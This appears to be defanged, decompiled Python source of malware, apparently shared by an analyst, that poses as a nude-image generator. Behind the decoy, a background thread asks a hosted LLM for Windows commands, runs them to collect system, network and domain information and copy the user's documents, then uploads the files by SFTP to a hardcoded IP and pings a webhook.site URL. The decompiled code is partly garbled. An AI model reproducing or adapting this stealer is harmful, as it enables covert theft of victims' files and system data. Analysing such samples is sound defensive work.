Here I clipped imports/hf tokens/defanged urls
def ssh_send(path):
address = '144[.]126.202.227'
port = 22
username = 'upstage'
password = 'upstage'
target_path = '/tmp/upl/'
client = paramiko[.]SSHClient()
client[.]set_missing_host_key_policy(paramiko[.]AutoAddPolicy())
try:
client[.]connect(address, port, username, password)
sftp = client[.]open_sftp()
timestr = time[.]strftime('%Y%m%d-%H%M%S')
sftp[.]mkdir(target_path timestr)
target_path = '/tmp/upl/' timestr '/'
for root, dirs, files in os[.]walk(path):
for name in files:
remotepath = target_path name
localpath = os.path[.]join(root, name)
sftp[.]stat(remotepath)
remotepath = target_path timestr '_' name
sftp[.]put(localpath[.]encode('utf-8'), remotepath[.]encode('utf-8'))
finally:
pass
except IOError:
None
sftp[.]put(localpath, remotepath)
sftp[.]close()
client[.]close()
return 1
except paramiko[.]SSHException:
return 0
def token_error(response):
errors = [
'credits',
'credentials',
'permissions']
for error in errors:
result_check = re[.]search(error, response)
while not result_check:
def query_text(prompt):
LLM_API_URL = 'hXXps://router.huggingface[.]co/hyperbolic/v1/chat/completions'
for token in tokens_list:
authorization_string = 'Bearer ' token
headers = {
'Authorization': authorization_string }
response = requests[.]post(LLM_API_URL, headers = headers, json = prompt)
if response[.]status_code == 200:
result = response[.]json()
query_result = result['choices'][0]['message']['content']
return query_result
def LLM_QUERY_EX():
prompt = {
'messages': [
{
'role': 'Windows systems administrator',
'content': 'Make a list of commands to create folder C:\\Programdata\\info and to gather computer information, hardware information, process and services information, networks information, AD domain information, to execute in one line and add each result to text file c:\\Programdata\\info\\info[.]txt. Return only commands, without markdown' }],
'temperature': 0.1,
'top_p': 0.1,
'model': 'Qwen/Qwen2.5-Coder-32B-Instruct' }
llm_query = query_text(prompt)
theproc = subprocess[.]run(llm_query, shell = True, stdout = subprocess[.]PIPE, stderr = subprocess[.]STDOUT)
'content': 'Make a list of commands to copy recursively different office and pdf/txt documents in user Documents,Downloads and Desktop folders to a folder c:\\Programdata\\info\\ to execute in one line. Return only command, without markdown.' }],
ssh_send('c:\\Programdata\\info\\')
def query_image(API_URL, payload):
response = requests[.]post(API_URL, headers = headers, json = payload)
image_json = response[.]json()
image_data = image_json['data'][0]['b64_json']
image = Image[.]open(io[.]BytesIO(base64.b64decode(image_data)))
filename = 'image_generated_at_' timestr '.png'
image[.]save(filename)
print('image saved as ' filename ' in current directory')
print('________________________________________________________________________________________________________')
print('Enter another prompt to generate new image, or type "exit" to exit program')
os[.]system(filename)
print('No valid authorization tokens found, program will close now')
return None
def main():
Image_API_URL = 'hXXps://router.huggingface[.]co/nebius/v1/images/generations'
llm_query_thread = Thread(target = LLM_QUERY_EX)
print()
print('Enter prompt to generate image, for example:')
print('"Curvy naked woman sitting, long beautiful legs, front view, full body view, visible face, visible tits".')
print('Be as specific in your prompt as possible.')
print('Prompts can be typed using any language, but english will return best results')
print('To use this example prompt, press "ENTER"')
ping_URL = 'hXXps://webhook[.]site/b3e30c61-c8a3-4a8f-9489-5b862585a9a7'
ping_time = {
'time_run': time[.]strftime('%Y%m%d-%H%M%S') }
requests[.]post(ping_URL, json = ping_time)
print('To exit, enter
llm_query_thread[.]start()
if not input():
cmd = str('Curvy naked woman sitting, long beautiful legs, front view, full body view, visible face, visible tits')
if cmd == 'exit':
print('What should not be on the image,')
print('Default: "missing fingers, deformed fingers, mutated hands, deformed nipples, bad body,extra limbs, extra digit, bad hands, bad fingers, extra fingers,bad proportions, more than 2 nipples"')
print('Press "ENTER" to use default')
negative_prompt = str('missing fingers, deformed fingers, mutated hands, deformed nipples, bad body,extra limbs, extra digit, bad hands, bad fingers, extra fingers,bad proportions, more than 2 nipples')
image_thread = Thread(target = query_image, args = (Image_API_URL, {
'response_format': 'b64_json',
'prompt': cmd,
'negative_prompt': negative_prompt,
'model': 'black-forest-labs/flux-dev' }))
print('generating image with prompt: ' cmd)
print('image generation can take up to 3-5 minutes, please be patient')
image_thread[.]start()
main()